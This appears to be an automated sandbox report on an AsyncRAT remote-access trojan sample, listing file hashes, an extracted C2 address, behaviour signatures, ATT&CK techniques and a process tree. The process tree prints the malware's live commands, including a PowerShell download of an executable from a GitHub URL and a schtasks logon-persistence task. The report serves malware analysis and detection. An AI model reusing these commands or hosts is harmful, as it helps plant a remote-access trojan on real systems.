asyncrat | e2025b1f07285cf7a6cb0dbcd05933db631202a3af5af06719548f01ba2fe73f

General

Target

Install.cmd
Size

407B
MD5

d605e519c8fb10ecc49055af63c0f213
SHA1

a69b61879040aa541258035461260159ea51369a
SHA256

1452be84cfc1ea5aee5db2011fe8e2a5b72ff2fe637b77696d720734f58eac89
SHA512

304e8825d0afa6f7235859bb2083d728510d48806b06214225978592e8c4f8d065e1bcf3ca9eb39d4312b762a83e1054237d11cecbb3347ef4868bb4574b0e2b

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

anyone-blogging.gl.at.ply.gg:22284

Attributes

delay
1
install
true
install_file
Windows.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x00070000000234b2-23.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4560	powershell.exe
4	4560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3392	Windows.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2920	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3000	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe
3808	Loader.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	3808	Loader.exe
Token: SeDebugPrivilege	3808	Loader.exe
Token: SeDebugPrivilege	3392	Windows.exe
Token: SeDebugPrivilege	3392	Windows.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3808	424	cmd.exe	84
PID 424 wrote to memory of 3808	424	cmd.exe	84
PID 424 wrote to memory of 4560	424	cmd.exe	85
PID 424 wrote to memory of 4560	424	cmd.exe	85
PID 3808 wrote to memory of 2844	3808	Loader.exe	89
PID 3808 wrote to memory of 2844	3808	Loader.exe	89
PID 3808 wrote to memory of 3128	3808	Loader.exe	90
PID 3808 wrote to memory of 3128	3808	Loader.exe	90
PID 3128 wrote to memory of 2920	3128	cmd.exe	93
PID 3128 wrote to memory of 2920	3128	cmd.exe	93
PID 2844 wrote to memory of 3000	2844	cmd.exe	94
PID 2844 wrote to memory of 3000	2844	cmd.exe	94
PID 3128 wrote to memory of 3392	3128	cmd.exe	95
PID 3128 wrote to memory of 3392	3128	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Install.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Users\Admin\AppData\Local\Temp\Loader.exe
  "\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3808
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows" /tr '"C:\Users\Admin\AppData\Roaming\Windows.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Windows" /tr '"C:\Users\Admin\AppData\Roaming\Windows.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDFE0.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2920
  - - C:\Users\Admin\AppData\Roaming\Windows.exe
      "C:\Users\Admin\AppData\Roaming\Windows.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C ""Invoke-WebRequest -Uri 'https://github.com/Espiny/test/raw/main/MainDab.exe' -OutFile '\Users\Admin\AppData\Local\Temp\MainDab.exe'""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbnljrss.rhu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDFE0.tmp.bat

Filesize
151B

MD5
797a97b428eccb57998c64360974ce5e

SHA1
50e6fb52a350b1c9d07835988424676d473acc7a

SHA256
51cc574c15d14ba7f8ebd975c2745bdae0a504fcea6e5327c5e8170fb05b55f6

SHA512
7642f3393cdfcec686600364e7deead338cbadfa23ff478c5970a7aab017513eae06a7b87c15fe66793aa312f37b7c8cf7d36c0691642af492ec8cef0f7c5715

Download Submit
C:\Users\Admin\AppData\Roaming\Windows.exe

Filesize
63KB

MD5
004ba87604ac07c77d161b96bfd97a34

SHA1
8f089b87f831946c617af9702ba79d20ddaf7394

SHA256
bfbef5852faa1e2de88f380c620af93eb08114363c1d72d74d5809e7ff70f881

SHA512
322a6fc44d0390ad55a7bf0cfe268814e00df2e757a8088d11d7addd9d2b089e4c62d4c955f2272b7ec50033e68a59f72778912cbae125e01c5b74c1b2909b8a

Download Submit
memory/3808-1-0x0000000000ED0000-0x0000000000EE6000-memory.dmp

Filesize
88KB

Download
memory/3808-0-0x00007FFA804C3000-0x00007FFA804C5000-memory.dmp

Filesize
8KB

Download
memory/3808-15-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download
memory/3808-20-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download
memory/4560-4-0x0000022872620000-0x0000022872642000-memory.dmp

Filesize
136KB

Download
memory/4560-12-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download
memory/4560-13-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download
memory/4560-14-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download
memory/4560-28-0x00007FFA804C0000-0x00007FFA80F81000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads